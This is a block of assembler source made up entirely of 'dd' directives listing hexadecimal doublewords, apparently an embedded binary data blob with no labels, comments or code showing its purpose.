dd 0B45A5050h, 91E600ABh, 0CC8C68EBh, 282A8278h, 2E0CC006h
dd 28646676h, 37C8013Fh, 0B1A6CEADh, 3368C885h, 0D2895400h
dd 0D61E6EDDh, 6F2507E2h, 10ABF14Ch, 76BA6556h, 5007DFFEh
dd 3C88781Ch, 0B2BB0BE0h, 2A110070h, 68DE47CBh, 0A3025523h
dd 0F3377309h, 964BC00Ch, 7DECDDh, 92FE35E6h, 7B559BA5h
dd 3000F698h, 62FAEFFDh, 7E3BB58Bh, 0C4768Eh, 4AF3E3D1h
dd 6358E416h, 9FAF5200h, 7372DB70h, 9BF428h, 0B5B40419h
dd 9559BCBEh, 2400EFF8h, 0BF69C83h, 318AEDAh, 2B0CA9E4h
dd 3800937Dh, 0DD57FA60h, 12FC31h, 2990D55Eh, 0ACF89666h
dd 5020C400h, 87583728h, 405004Bh, 0DF9386D3h, 68E0D1FAh
dd 50E91C00h, 0A76E0F7Eh, 59C61CE8h, 557C40C7h, 0C0F8B60Bh
dd 20658036h, 0D53D0018h, 7D16A626h, 0BC00DADBh, 0E90EF096h
dd 0C4E34DCh, 0FC6850B2h, 0FE0FE548h, 4001B635h, 0B5C1C587h
dd 44B907F7h, 30E669FDh, 1156F247h, 23006174h, 7E955835h
dd 0AC476EBh, 8CDCC98Fh, 7C3F8090h, 3B750569h, 0E5CC4D01h
dd 2CAE9714h, 0B3C0CDC3h, 302F3562h, 0C53066BFh, 2E0011F8h
dd 912B383Ch, 7ADE8F52h, 0CAB00053h, 0C9FAAD0Fh, 0DC07CD70h
dd 0A468311Eh, 53276F20h, 1C73E40Bh, 9E24DBE1h, 0E7BD00ADh
dd 6851FC66h, 2AE50E13h, 5AD58103h, 75AA80E1h, 1B6E066Bh
dd 18E3C72Fh, 0CABF2600h, 0D611998Dh, 0A9B60007h, 883F5202h
dd 98008C62h, 3C3BCA6Dh, 0CEB947EEh, 0BDE02D11h, 48FDF5C4h
dd 18387518h, 3CD408h, 0E187CA6Ch, 11EA1EB2h, 2DC43300h
dd 489A9347h, 0B91C038Ah, 0FE77988Dh, 603FB200h, 578567D9h
dd 7D0900CAh, 7A7E9C62h, 8F60AB21h, 3EE5D670h, 0DC04001Ah
dd 2859970Ch, 7A00416Ch, 498F29A8h, 3A39F0B1h, 4000656Ah
dd 0ECA094F4h, 710CE7A1h, 0D04DF20Ch, 6D851CDDh, 102C996Ch
dd 0CD6C4A3Ah, 6C0020B1h, 793DF78h, 0E7A05CE8h, 0A243CFFAh
dd 7001C32Ch, 36BF8F95h, 8E300A14h, 0D03F26C5h, 7DE16D0h
dd 1A9EE507h, 668008Ch, 344F20EAh, 380379ECh, 0D6AF22E4h
dd 49179087h, 5C300BAh, 0B6C8DF48h, 5878E1D5h, 4C71BE00h
dd 64D14BD8h, 0F41E007Fh, 22A7F8B0h, 0AF742DD0h, 8F190800h
dd 128E6AF6h, 0E59C0018h, 13F177E0h, 9A002DFCh, 1B32C0A5h
dd 7AEE3721h, 2854339Bh, 12F98540h, 3FA86047h, 0DE74ED03h
dd 0F6C21F84h, 3DA9176Eh, 0F2DD0168h, 0E4A6229Bh, 5403BC83h
dd 2858D12Fh, 7BF8900Fh, 1E3FF8AAh, 186F14FCh, 0CBF7A19Eh
dd 19CC7300h, 12DBED13h, 0D68F016Eh, 6F10B15Dh, 0F434F98Dh
dd 910D3C2Ah, 9933FDDAh, 3CF211F0h, 0D806237Bh, 68611606h
dd 2C24120Fh, 68EA8385h, 0EEC7B0DDh, 9B0D018Ch, 0F867E0CFh
dd 282770E3h, 958A4D0Fh, 299A20A8h, 0AB241Fh, 0FAC08D06h
dd 0EED5A57Fh, 5700287Ch, 0C546F717h, 1D5A32BCh, 40135D2Bh
dd 0C7F1942Eh, 0A548BBA7h, 0CF0501B6h, 52AE014Dh, 31D4D4h
dd 0CCD96BEh, 9E39460h, 0AD76901h, 0CF9A97DAh, 3CD0BBFDh
dd 3693015Bh, 388F9DB1h, 2B75E03Fh, 55BA8900h, 0D3BEF639h
dd 0E6210714h, 0AF69D4E4h, 0F796FBE1h, 0DBEBFF26h, 8EB655D8h
dd 0F21BAF06h, 196EC7h, 57B0C59Ch, 0ABBAA53Fh, 0BC3B40h
dd 874207A7h, 7EE826F9h, 790C030Fh, 0E232CF8Fh, 6033F39Ah
dd 0C9F97B0h, 2C864725h, 0AD001398h, 0E1297066h, 19E31E7h
dd 6D75260Bh, 0D793AE05h, 7EC040C8h, 80B8953Dh, 28AB7F12h
dd 3F3207h, 26FCA1FEh, 8A453B0Ah, 0E9A45050h, 18B2F000h
dd 0E1821CA2h, 7B770EDAh, 0F814B359h, 0FBF3E607h, 36009975h
dd 135F1D3Bh, 84172F00h, 0FC5DE65h, 37FAC2h, 0AE4B9B41h
dd 0AA385BB6h, 0FBF6EE00h, 4DEFD521h, 0BFA700B9h, 0A8C1903h
dd 0F1188898h, 49283E3Ch, 0E7A86h, 0D785BF2Bh, 83AD3ACCh
dd 0B52EB106h, 5144FCh, 0E6FEBE6Ah, 5BE2171Dh, 702E8D00h
dd 81670D27h, 2DB312C2h, 87BC12h, 4E068F64h, 5C970BAEh
dd 80002D8h, 0E0F515Ch, 849017B6h, 1115741Ch, 2084BEC7h
dd 18F036h, 0C3F81D09h, 8C80954Bh, 0FE5921Dh, 50E0DB41h
dd 71E096EFh, 0A1B600A8h, 69B54148h, 0E200E49Fh, 4905C886h
dd 0DE1A38h, 46ECA6F7h, 15AB7D0Ch, 0BA6B3518h, 0C1BFCF1h
dd 0F8479791h, 7400B930h, 41C6F067h, 0FA0D54h, 4334C3FDh
dd 9FDED78Dh, 4229AA1Ch, 0F12705C0h, 0C7AB9Dh, 601578FCh
dd 9FB54DA2h, 8701097Ah, 52D17642h, 0A0E05333h, 0D89A00D7h
dd 26BE1084h, 0E40013EDh, 0A9ECD565h, 0F0A6186h, 540CB9FFh
dd 0DD52D420h, 0BA00B519h, 0D5079A82h, 0D180D7h, 227C5E70h
dd 8C06B20Dh, 0D42B8407h, 0FD4058AFh, 9DC9D3h, 48D7AE1h
dd 0CFFA516Bh, 7D5C7374h, 0B84A000Eh, 72A1D828h, 1ABE0048h
dd 3CFD12D1h, 60C52E34h, 14801051h, 3EFB570h, 49C3EBE6h
dd 8801B1E9h, 19C07669h, 109FAEFDh, 720E8084h, 802FE92Dh
dd 0FFBA95Ch, 6F8F32D0h, 8757E0BAh, 707B3Ah, 86835415h
dd 6DCB675Eh, 61FC9700h, 58EA7DA8h, 7F450C52h, 0C31876A7h
dd 0BCF1A60Fh, 96809D5Ch, 65DF83D1h, 2E57013Eh, 0FA6D43D4h
dd 89B04073h, 0A201700Dh, 0DC34FDEBh, 0C0E01E72h, 58C96059h
dd 0A477ABDh, 270D8F00h, 57FCCA86h, 28490ECFh, 0A940772Dh
dd 3337C42Fh, 72816A00h, 4795149Ch, 3AD974BAh, 0C880A9E0h
dd 5D6D4EBh, 0F11DE736h
dd 3AC32580h, 0B020B53Eh, 0F2F40D3h, 0EFD7D914h, 0D1BA04C1h
dd 40F238h, 291F2C80h, 4B000F4Fh, 36E19727h, 4C7ED6h, 5D1073Dh
dd 0ED6C198Ch, 0C0FA18CFh, 0CA3E5976h, 713D0073h, 0D7B9DF69h
dd 1E060E88h, 55DA034Eh, 27590038h, 5E95B4BEh, 0A8153D44h
dd 0BC2CE231h, 0C2174382h, 8694BD49h, 6082F7Ch, 0A660A1D3h
dd 1EF860F7h, 2779C107h, 82AED20Ah, 8054EB4Dh, 65D53390h
dd 7D8B0F0Ch, 41199B12h, 0D7B7F4DCh, 0B9CB2800h, 30DF5815h
dd 0EFCC0FFCh, 0A32716BDh, 801D0E8Fh, 0E410BBC2h, 41009C55h
dd 45286F31h, 0A4E8156h, 9F99F7D9h, 73094024h, 7807EFC3h
dd 711341ADh, 967FEC30h, 0C2B0C304h, 88013AD8h, 6A6F97ABh
dd 0EF8E099h, 70FE30h, 1BD7D76h, 0A4498EACh, 7B9E940Ch
dd 3961D017h, 10013223h, 4BCB8D31h, 0A79C40FBh, 3B00E055h
dd 89CD08FEh, 0F4A43A48h, 0BF10306h, 0C5635904h, 0F062F4C1h
dd 0AB0039C7h, 21B37FF0h, 5FBA87h, 57C4DE52h, 0B2DA4A1Dh
dd 3CD348h, 53E06045h, 25A3F85h, 9CB4F431h, 2C402644h
dd 2005FD75h, 0D3F56B48h, 25C6AC00h, 1C2DB0F8h, 0C5CAD7EFh
dd 80E7A5E5h, 494D3A75h, 84645629h, 0C8D915h, 0F0BFF793h
dd 0F1C785h, 4499922Ch, 0F6FEEC63h, 0B0FFE4ABh, 0A3ABC13Ah
dd 0CD7D3C00h, 1F0F4EF3h, 22590121h, 5F045B38h, 338880D5h
dd 0E7D658ECh, 0D44450B6h, 0B41600B8h, 79F1F9E4h, 9C0045C6h
dd 0C0CA6EA9h, 57262Fh, 4F75B9AAh, 205D06D0h, 0E6A24600h
dd 9B1EAEBFh, 0F23F00B0h, 2E735711h, 8F3DAAA7h, 7E3009Ah
dd 5CD6BCCEh, 5F4B0001h, 0DA67D359h, 6B313715h, 0A7B238B4h
dd 19ED5082h, 8AC0B04Bh, 0BD7158E1h, 0C4F23C1Eh, 8D995906h
dd 4EAC1C29h, 6012C0FFh, 0D8C9E30Dh, 94300274h, 7CE12016h
dd 0B28600F9h, 0A56103D2h, 5B00D4A9h, 6DE3AF60h, 1A5380h
dd 0BD84CE74h, 0FB036FCBh, 9FBCC303h, 0F3A60886h, 5A62C0A5h
dd 287D4Eh, 13DA6F50h, 0FE5EEB8Ch, 0A234B14h, 80403AFDh
dd 9021ADECh, 0E66281h, 0D0DB7404h, 474480FFh, 80791A3Eh
dd 1B836CD3h, 3431C08h, 80EB9E7Bh, 0F9B877B5h, 6600A389h
dd 1AD7C275h, 7DDA5Bh, 0D6C70F48h, 0B07CEC3h, 0C4002172h
dd 6286440Eh, 0E5AC61h, 9AD5689Eh, 8CA15696h, 0B2697E00h
dd 368F87C8h, 9055001Ch, 988E4335h, 240021CCh, 0EBAFBA2Eh
dd 305B1BEh, 751AF0A3h, 1014BFD3h, 0FC04B21Dh, 0C6D22C46h
dd 0A3DA00F1h, 9189F2D7h, 0E7649403h, 0DA8674CEh, 9EB58032h
dd 48511D20h, 0C8007B66h, 18036957h, 0CD07ADA8h, 37856780h
dd 0A809D313h, 0F96A25h, 0F17026Fh, 0FDA0B98Ch, 6141F20Fh
dd 0C632602Eh, 197CA44h, 154963E0h, 0E5988B87h, 0F44AE88Ch
dd 0A027F100h, 0C081F67Eh, 9FD90067h, 1B3B8E5Ah, 0DB00B89Ah
dd 3EADC13Ch, 5973161h, 0A7463F67h, 2A9000F2h, 78A834B3h
dd 702FB624h, 8AAB6D00h, 380FAE6h, 664CEB8h, 36D8C257h
dd 0E9001381h, 0C114886Fh, 60B18589h, 3170482Bh, 0F9FCF405h
dd 1BDF7400h, 0F06216CBh, 0B9BD0E80h, 817C6AFDh, 764459D1h
dd 402020AFh, 8FCDA318h, 42BA0Ah, 5F3F6C5Ch, 0A512BF49h
dd 4A27EB00h, 0F9F0C3A1h, 76A01E80h, 0A23382E1h, 61E03DF8h
dd 0EBF66E73h, 72296400h, 401820E3h, 3C1900EEh, 0F501FB22h
dd 0A90071CFh, 2D0391C6h, 0AE0C7AAh, 13FD780Dh, 664D07F0h
dd 6F706060h, 1A1C64A3h, 0EAC11968h, 83E99F0h, 9A48ECh
dd 0CF963FFh, 2AA6651Eh, 0BF893D02h, 8F9D3E54h, 1E686E98h
dd 0CB2C8B87h, 7983BB71h, 3D848C8h, 0F227A258h, 288977Ah
dd 0E2079BB1h, 0C2E539DDh, 2C402Ch, 9E41AC25h, 351AD19Dh
dd 0CC754800h, 53FB0820h, 0EFE706Ah, 5F887BBh, 503F03C0h
dd 0D81F91E0h, 8900ED78h, 46717B63h, 90DE7933h, 79DC0524h
dd 0C0A0B307h, 738E3A5Ah, 0C5E72C00h, 46D2AE6Bh, 0C6073EBFh
dd 0FCBCDA00h, 4166C1AAh, 0D8288C26h, 0B2221400h, 0C0E872F7h
dd 0E1DF0250h, 3E009E20h, 97546D78h, 0C0A5A713h, 2FCA2CA8h
dd 74000AA6h, 6A3B91F1h, 290FB1h, 0DBB1546h, 19D18D4Bh
dd 883DB200h, 53955D81h, 0BE802407h, 913E00B8h, 0F48BA672h
dd 0CEBB3B18h, 7DEB3158h, 0E9A3A0EDh, 980103A5h, 0A1E437E2h
dd 217DCF98h, 5E40C165h, 1468D600h, 0E01F1A8Ch, 218F258h
dd 16369810h, 70487C07h, 1E982834h, 0C69E5801h, 8BCF2A06h
dd 3C50B0C9h, 1A2F182h, 0BD138EA1h, 8EDE51DAh, 0D2165A18h
dd 43D66C01h, 73ECB025h, 0DF60E36h, 57202786h, 0E056679Dh
dd 3D005BE6h, 2D061749h, 450257Bh, 30E909C2h, 0EE888007h
dd 7700CD3Dh, 0DE897033h, 0F7C512h, 0F0CAA05Fh, 0E096617Ch
dd 239DA502h, 0C0970F5Eh, 379CA2h, 0DD29F23Eh, 6795A09h
dd 0D083B700h, 4A8FBF05h, 0BE65005Ch, 0C83734DBh, 0B700390Bh
dd 7EE2B0C0h, 3F8B4BC7h, 7280B590h, 665B36B1h, 0E1496833h
dd 609E288Ch, 0C5A8551Ch, 79FA8200h, 6142D1h, 32A0714Fh
dd 76F1595Ah, 6BFF8B00h, 3ABB95FBh, 0E36D019Ah, 0CD060583h
dd 218AD054h, 85980976h, 8EBB9106h, 3E607B85h, 2B92CE3Fh
dd 5F3001F7h, 0C54863E8h, 2410B8E1h, 0B41FB817h, 0EC5EFE00h
dd 8F902Fh, 0E7E7645h, 0A22AEA9Fh, 8997A303h, 0A99552E3h
dd 0D441A479h, 3CEC9BCDh, 4A5001Fh, 0E891481Ah, 3D7403B7h
dd 2E38800h, 6687508Dh, 0CFFF006Dh, 981EB9C2h, 6B3DCEF8h
dd 647C80F9h, 2851C1D3h, 0FE77002Fh, 29E79F7Fh, 0A800354Bh
dd 0B9A5FAC0h, 0F6434F74h, 39E254h, 4B77A96Fh, 9AF00C8Ah
dd 0EB794805h, 0EBC514h, 96C9CF24h, 5700AB3Eh, 0D3BBDF4h
dd 0EA2F6288h, 9A790054h, 802DDE78h, 36E2553Eh, 13846338h
dd 6409994Dh, 0B6942313h, 33D0C847h, 0CFE50015h, 567A75E6h
dd 0CA756671h, 31906100h, 5AAF079Ah, 1C2D0099h, 1F184A60h
dd 6B3977F1h, 90D6AC4Ch, 76A2900h, 3CFB10DAh, 0DE00F966h
dd 9A54EE38h, 59F85F45h, 0DA7D8100h, 63981122h, 0BCC02685h
dd 49B19D60h, 14A03F4Dh, 7A3C3B73h, 0EC4BB50h, 3A464A07h
dd 9234E9F1h, 0C56AE490h, 8F44001Ah, 4FE2D0BFh, 0F0112F5h
dd 8272F610h, 0E464ED2Eh, 256907C6h, 90D409A2h, 93DB7959h
dd 3B406552h, 0EAA911F7h, 8D5F0500h, 687D99D9h, 73699D00h
dd 9F1D55A0h, 8FF51E56h, 0DAC14038h, 0D0378940h, 5F695300h
dd 0A778D60Eh, 24A809D3h, 0DC004801h, 61F982F2h, 8C6B111Ch
dd 0CFBFD40h, 3416346Ch, 801815E5h, 0DCB096D3h, 1F81F700h
dd 0E8288BAh, 10A7B5Ch, 661A904Eh, 6083D09Eh, 0BE30E214h
dd 0D7D4E02Eh, 4F7A09h, 0D45A5C5h, 0C35C45Ch, 70BD58h
dd 0BF030E87h, 1B21BEh, 0A80AF62h, 9A1473EAh, 0A21A8901h
dd 5BBA072Dh, 96BED8h, 7D0E8B75h, 37948440h, 0C821F200h
dd 0C480500Fh, 7A509029h, 6D4C1C32h, 7BBC3A8h, 0CE80662h
dd 0CA004F69h, 0E8017C4Eh, 2EF0D26Ch, 76B5F52h, 6F8B71h
dd 0D5692A19h, 7424D600h, 0E3CE5EBh, 73940055h, 0A93FFFDDh
dd 0B4484A23h, 0C9430096h, 9CB12E2Dh, 1A6201EAh, 93C48295h
dd 0B2FE803Bh, 0B37521A9h, 3AF23A31h, 8746969Ch, 90343B9Ch
dd 41FC3DB4h, 187CA12Ch, 3CD26842h, 0C75E280Ah, 0CA00A0C8h
dd 6F351864h, 1C39F8BBh, 0C041FEB3h, 0DAF1851Eh, 870086D2h
dd 0C9D7CC0h, 13C57697h, 3091D6FCh, 269F2934h, 6470A81Ch
dd 0B009846Eh
dd 0A2C4178h, 0F78E8823h, 7DDE9F20h, 0A3000F94h, 1259F078h
dd 57291Bh, 0BFBA11CAh, 5B95A9DBh, 0E03F410Ch, 58EAF151h
dd 0F30016ADh, 19C12CF7h, 450033B1h, 0B947AE9h, 5F744Ch
dd 3B6B4303h, 828B0809h, 98801300h, 9F144081h, 38FC3EA9h
dd 0C06C5800h, 90510EBFh, 54C9CE07h, 0A1300D2Ch, 4A5A53h
dd 432FDBABh, 0EB443677h, 14A8461Eh, 5954A1C0h, 174A66h
dd 0E2958FC8h, 0D9BDC558h, 0BA342500h, 0CBA497E1h, 643B006Fh
dd 0AF4CFBD4h, 720BB401h, 100AC525h, 0E85B53D4h, 0B77904D7h
dd 82109456h, 0B460408Ah, 1005289h, 2D95BEFDh, 798E2712h
dd 0B07C5447h, 100E21B9h, 93842A40h, 79FF800Bh, 0F9CD0D1Fh
dd 4C40381Dh, 89DF8C23h, 3C140074h, 73427551h, 1C925E59h
dd 6C58A4E8h, 0DE048114h, 58818D27h, 83246E23h, 409AE555h
dd 25BB57F8h, 20493800h, 51020D1Ah, 0FA621C21h, 0A2BF506Ah
dd 244468h, 4DE81708h, 8F8E07C7h, 6BD3300h, 0EAA418AEh
dd 1D289A74h, 40DD34B8h, 0D465F673h, 4A0005D5h, 97510C41h
dd 0A33529h, 0AC75861Dh, 431E671Fh, 6F55DDF1h, 9C17C780h
dd 0EFAD1E02h, 0C430803Fh, 955B9A07h, 0EA0F3Ah, 2E1053F5h
dd 724061A1h, 0A9963AE8h, 0D6426707h, 0C0A07A77h, 0C1B3B4ABh
dd 4F496909h, 0FF48605Dh, 624C0012h, 9CD0D775h, 0F9CFBE3Eh
dd 4BA7E073h, 1905AB5h, 42C2979Fh, 47CA685Fh, 28A0DBE4h
dd 111FDFB1h, 5E5DC1F2h, 0FB911FA4h, 400E2789h, 159BB8B8h
dd 0CCCCFAEEh, 8F783201h, 0E14437EDh, 0DFC8D788h, 0E0193D1h
dd 8E2509BAh, 0C289B29h, 0BF9D069Eh, 50070A3h, 0A05E98F4h
dd 95191DBh, 0D1C967D7h, 0A5092380h, 8105B171h, 1C0693D5h
dd 32E11C90h, 9F8601B2h, 5D3510C3h, 2A4FC033h, 61A43F35h
dd 13288C8Ah, 7C30B0FCh, 808800D1h, 572BC896h, 0FB008EACh
dd 0A730650Fh, 46CE4Dh, 6822695Ch, 0D14D225h, 0F3AAAB00h
dd 82E3D1E2h, 62273A41h, 61F47B8Fh, 10766767h, 0C88D883Dh
dd 0AE00DF74h, 0DCE01D4Fh, 0E2D8983h, 26BE9593h, 7FE03A8Fh
dd 4CBA65Dh, 3B005771h, 0FAB3AD7Bh, 7F77FB32h, 0EE71036Eh
dd 8F1CA696h, 9942D980h, 7CE46100h, 0E5C743E8h, 0FB010E0Eh
dd 0D4616D88h, 0D8450428h, 2E0FB0A7h, 0E0C5421Eh, 960801F4h
dd 5ED00069h, 0BDCBD4ADh, 64E21BB8h, 5C54A703h, 0B8A6A367h
dd 246DCD05h, 0BD040436h, 98720FF8h, 0A7C9195Fh, 1730880h
dd 5C3EAB59h, 0FEB287C7h, 7580A6DFh, 0C8BCA8h, 65BBAD94h
dd 61884269h, 0B013D6E8h, 77075B9Dh, 39F68CC6h, 47840161h
dd 0D9383E50h, 0D008CDF3h, 654CC917h, 11C01828h, 88784710h
dd 0D8180F69h, 9C2A49ADh, 94A4000Bh, 3E9B8BA3h, 0DB001BDCh
dd 0FBEEB486h, 1ED8FA8Ah, 0C8C56Bh, 0F28C2C4Ah, 0A016D3FFh
dd 0E801F4D4h, 315EB3A6h, 0C06B8093h, 0A5018024h, 944BCF0Ch
dd 6EA93Eh, 0C7A41FAh, 9A7C89BBh, 251B990Ch, 0BC2111h
dd 0A69F8A43h, 3866292Ch, 90EE19C2h, 77985810h, 179700E5h
dd 0D67C7196h, 0EF000A02h, 6A6495C1h, 809FB6h, 8C4D6674h
dd 37F92798h, 53EA3807h, 1CE0CD26h, 8451F8h, 7C053068h
dd 7A67F219h, 2709C6F8h, 572907A7h, 5F629280h, 600790EBh
dd 0F312CE7Fh, 8807A2C1h, 9BF4E4h, 94817628h, 62AB6B14h
dd 0A1A0C860h, 4D1ABFh, 0A9C443CFh, 67C6B1EBh, 0EF81E81Ch
dd 28D730FCh, 7BED48B2h, 473806BAh, 19B8AAB6h, 0BC76F200h
dd 950ACAADh, 0FF4D0102h, 743EDB9Dh, 2F38841Bh, 39C19187h
dd 8C50845Dh, 0E2F1F0F8h, 0CC791C0Dh, 9D915F63h, 2C3580FDh
dd 0D65513B4h, 3DB26C00h, 0CEAAB552h, 6D70C010h, 801A99DAh
dd 0E8F22C00h, 5DE47D12h, 26720102h, 86CFFDC5h, 0BAB1FC1Eh
dd 0AF16F501h, 231C3F68h, 8A1BD050h, 5E870758h, 619721CEh
dd 0C573E7ECh, 10C2FC5Ah, 0E051E23Ah, 8AFD6FA9h, 69C9005Fh
dd 0FA37E408h, 0CF00E1D9h, 1CCA3197h, 44D7A8h, 32B6A7F9h
dd 37E325A4h, 22B7AB00h, 0E196274Ah, 3AE5002Bh, 83BCBD39h
dd 0D2120DF8h, 0A0806046h, 0B39C3Fh, 5B85048Dh, 28A854B5h
dd 1C7D8C00h, 654074BAh, 0A5AE0053h, 8EC4A94h, 951D87D1h
dd 440CD6D9h, 742036h, 29419002h, 525807C9h, 9F9AD100h
dd 0CE5D5C7Bh, 0D0A004Fh, 653F7078h, 0BD00B7F3h, 0F252FD7Ch
dd 74BAEFB1h, 0AA008439h, 0CB485340h, 0FAB2768h, 7A923DE7h
dd 458B0240h, 4C00152Eh, 0E63AD429h, 0E7F2C1h, 5F53B5Ch
dd 4E53BCF0h, 756BA916h, 1057200Ch, 2E3400DFh, 1F6D73A5h
dd 103A177Bh, 213E302Bh, 233F11h, 0EFC1A045h, 35F28515h
dd 0F659BA06h, 6EC87EB7h, 4EAAA194h, 11105468h, 518E4017h
dd 0A1DC78E0h, 8E00094Ah, 1D93E3CEh, 161BAC11h, 88912Bh
dd 6E459AEFh, 3308792h, 5E7A7861h, 9432068Bh, 0E8389CFAh
dd 3B87970Dh, 0B1C0200Ah, 8950003Ch, 0AF732676h, 0AE017C99h
dd 323FE2D3h, 3C70EA8Dh, 0A59C004Dh, 859C803h, 5103EC11h
dd 0A42ECE13h, 0FBE690EEh, 0F43C0FAAh, 0B4A0EFE2h, 0AFBF9B18h
dd 0D61B5102h, 6027A0A3h, 70FA515h, 3389C087h, 0CE5AE0CDh
dd 0DC00A19Bh, 0EE9701B1h, 4BA8A46Bh, 34C0FBB6h, 0EF53074h
dd 0D498F96Eh, 48E8B320h, 1F00A850h, 0A4BFAB2Dh, 43CF2h
dd 0BD327EDFh, 0A5D0976Ch, 0AB011FECh, 7B031B31h, 30811C15h
dd 2F733717h, 0B1C5D091h, 0E8276B03h, 2C22A34Eh, 0CB1D20h
dd 48E4C8D0h, 9300890Eh, 62F97F52h, 31261E7h, 321A55B5h
dd 9860E1ABh, 3DB9B789h, 57C73AAAh, 89BF1060h, 0B2014478h
dd 2D9C9893h, 10D09665h, 3A20C047h, 0AA9777A7h, 68641F00h
dd 6FDBEE01h, 1346039Eh, 2E366C9Bh, 4D00617Eh, 0F5D13D52h
dd 27ECBEh, 2F6E065Ch, 5BFE1817h, 4847D000h, 0D4C2CC29h
dd 0A2A9CE6Ch, 9183A028h, 0E8FCDFECh, 30F32DFBh, 80203D7Bh
dd 62F0516Ch, 0A47822Ch, 7DD91900h, 520D1h, 2FAB8EE8h
dd 5CD034C6h, 0C492AE03h, 0C008B73Dh, 7A6FDFh, 0F599FFD1h
dd 9E73F062h, 43981F00h, 9BCC477Bh, 88AD1C4Ah, 62E2804Ch
dd 25ABE4B9h, 58FA0B3Dh, 223A0FDAh, 9EE36745h, 0FD42CEE0h
dd 470C3CEDh, 0C0F6549Dh, 173EC4F5h, 32007658h, 90D4C011h
dd 0C601FFh, 538681Eh, 0B0674615h, 807B413Ch, 82886F3Eh
dd 1409B501h, 909A1F39h, 0C2437103h, 55C1157Eh, 1293E021h
dd 69E46200h, 0A133269Eh, 3D0C0718h, 0C059C938h, 318EA465h
dd 0CA30F90Bh, 3CD0982h, 0A5F57Ch, 48C9818h, 0EACF4407h
dd 83707CE8h, 7E29B925h, 0DC430CA0h, 0E500D428h, 3287DDDFh
dd 777C0A82h, 79EAB036h, 110F60B2h, 0B4D81068h, 0F26FBA03h
dd 706ABE6Eh, 312A0008h, 0D88815DDh, 900795B7h, 2601F103h
dd 44519A60h, 0C715E01Fh, 4CE7D3B8h, 270C0830h, 600B165Fh
dd 7053E32h, 0F7331100h, 0AB79B47Fh, 4DF9A408h, 43E31E29h
dd 159B1C36h, 0B056D6B0h, 0C45F5207h, 47E05DFFh, 79450F4h
dd 4BA6519h, 3A030BDBh, 2E869027h, 0F495EA03h, 0A1363344h
dd 528070FFh, 0AF1105B9h, 0B44CD01Ch, 0F9A307F6h, 1BF0E5A1h
dd 582F5BE6h, 0B90083D2h, 3AA97D3Ch, 6D007414h, 70EC46FFh
dd 1F441AC1h, 80DD5A93h, 2FAD76BAh, 0D400097Eh, 34C8537h
dd 78C8D751h, 70570772h, 80D5915Dh, 6B542A58h, 0A7827F1Fh
dd 24921D80h, 123EA8h, 0C4D7AF5Dh, 81C9571Fh, 77FE043Fh
dd 0A8A22F00h, 0C3DD85E9h
dd 0E84B07A6h, 608606F8h, 0E566CA22h, 801D463Eh, 0BA1802BBh
dd 8F3624h, 0B41B8A44h, 0CA37108Eh, 94627C00h, 648BE6E2h
dd 0DA140EF1h, 0C4EE1FB6h, 0E39F5898h, 1E9C61Fh, 77F68340h
dd 3EC996Fh, 3258EE50h, 4BC054B2h, 0F900D2A4h, 0A98CF122h
dd 51E033h, 0B35EF70Fh, 0FF23E68Ah, 0AEF6B900h, 6A5104Eh
dd 223B0713h, 0A03CECF7h, 9DB96C62h, 78B10330h, 3394979h
dd 35AE2816h, 0A9014A6Fh, 0A548F32Bh, 0E5EC5896h, 0A4620C0Bh
dd 0BD58ADCFh, 0EEE3FA00h, 6DE9DAD5h, 5EF40063h, 98954F4Bh
dd 0BF01D7C9h, 0D96364Eh, 0B880A9BEh, 0D005ADB1h, 0DF0142C4h
dd 8E75B503h, 0E80BDEDh, 9914AC28h, 5100436Eh, 0D7A99F39h
dd 0E8E69106h, 9EB500B6h, 2CE3ADA8h, 0C80FE149h, 0E082FE38h
dd 9737BEFDh, 3062001Eh, 292B81CEh, 0EC014BBBh, 0D92C8963h
dd 0B430D719h, 60C5741Eh, 3B672118h, 200EEC7Bh, 3F8EB310h
dd 39848Fh, 6C158B40h, 745EB834h, 8F30C7F9h, 0F6C5A076h
dd 36E0E131h, 0A978CD60h, 7C342344h, 794603E0h, 22762952h
dd 6ABB0800h, 0DF6EDA8Eh, 0E66905ACh, 80131996h, 3BA7C48h
dd 4B290560h, 48ABDC4Ch, 0EB003C74h, 179E9577h, 2200523Ah
dd 971601FAh, 606866C8h, 0D4883031h, 0EB3AB406h, 0AECF00A0h
dd 0A8CBF029h, 0D0BF0EF9h, 0C2FFAC98h, 2850B4DCh, 0D854DE60h
dd 0ADC5400Bh, 1B82801Eh, 0EEFD7h, 0DD13A45Bh, 0C4FBEA49h
dd 29908B60h, 0DCDEF1h, 0D884A020h, 774F5DFDh, 0B10F3176h
dd 6764EA65h, 21F0E0F3h, 1D664Ah, 91CD125Ah, 1A0AEFF4h
dd 0A756820Fh, 290DA047h, 0FB7F42h, 79E1DB9Ah, 14E7B0EBh
dd 0E4CCAD00h, 0D94622F7h, 6F200041h, 38D67C3h, 0C8008744h
dd 0ADBC3CDEh, 7C9A429h, 2D48D514h, 7E70A05Dh, 9500D80Eh
dd 81EF786Bh, 70A504E4h, 7F83047Ch, 80389BA9h, 549A0AB8h
dd 60647200h, 0A656E176h, 71D900F6h, 0A497E226h, 5C00A1EDh
dd 74D6D3FFh, 0FA6B6Ah, 48091949h, 0B655E6BAh, 5BAE9200h
dd 0EF4664F2h, 79D03A9Bh, 2FA11280h, 0DBDC7CC5h, 9DBA9000h
dd 27D55217h, 5928004Fh, 0C48EC99Ch, 4500761Ch, 0E510A7C7h
dd 2FA6BAh, 48B7F324h, 79BB6067h, 0D6079D2Eh, 0E7178600h
dd 6B4D1Fh, 50157CF0h, 69B4EBC5h, 0C077E278h, 6CF1DA00h
dd 4D1A3561h, 0F3C70173h, 0D5EB14CEh, 56D89C25h, 70347100h
dd 607CCD65h, 5CC919A6h, 0B901BE8Ch, 1514A036h, 0B6FCBD2Bh
dd 1B1800BCh, 9778A23Fh, 0F700B174h, 1C71AB4h, 0E643FBC8h
dd 54D81ECEh, 0FE08004Eh, 10B786F8h, 9ADDC22Eh, 34930B3Dh
dd 2CD70090h, 2622CDF2h, 0F0C2461h, 258039FBh, 8CF53CE8h
dd 74065300h, 0EF081498h, 6B078h, 15A3F613h, 9237B0EAh
dd 95ADB407h, 0C0EEBFC6h, 0BE1FF53Dh, 0AF710Ch, 40A75450h
dd 0AE02D81Ah, 3C4DB400h, 0D7B98DADh, 1CD00A8h, 0C34A86AFh
dd 97002FC6h, 0A631961Ch, 1B5F692h, 34DA07B9h, 714EAC0Eh
dd 0D4F66099h, 166CA800h, 8F867F79h, 3D490039h, 26B42DC2h
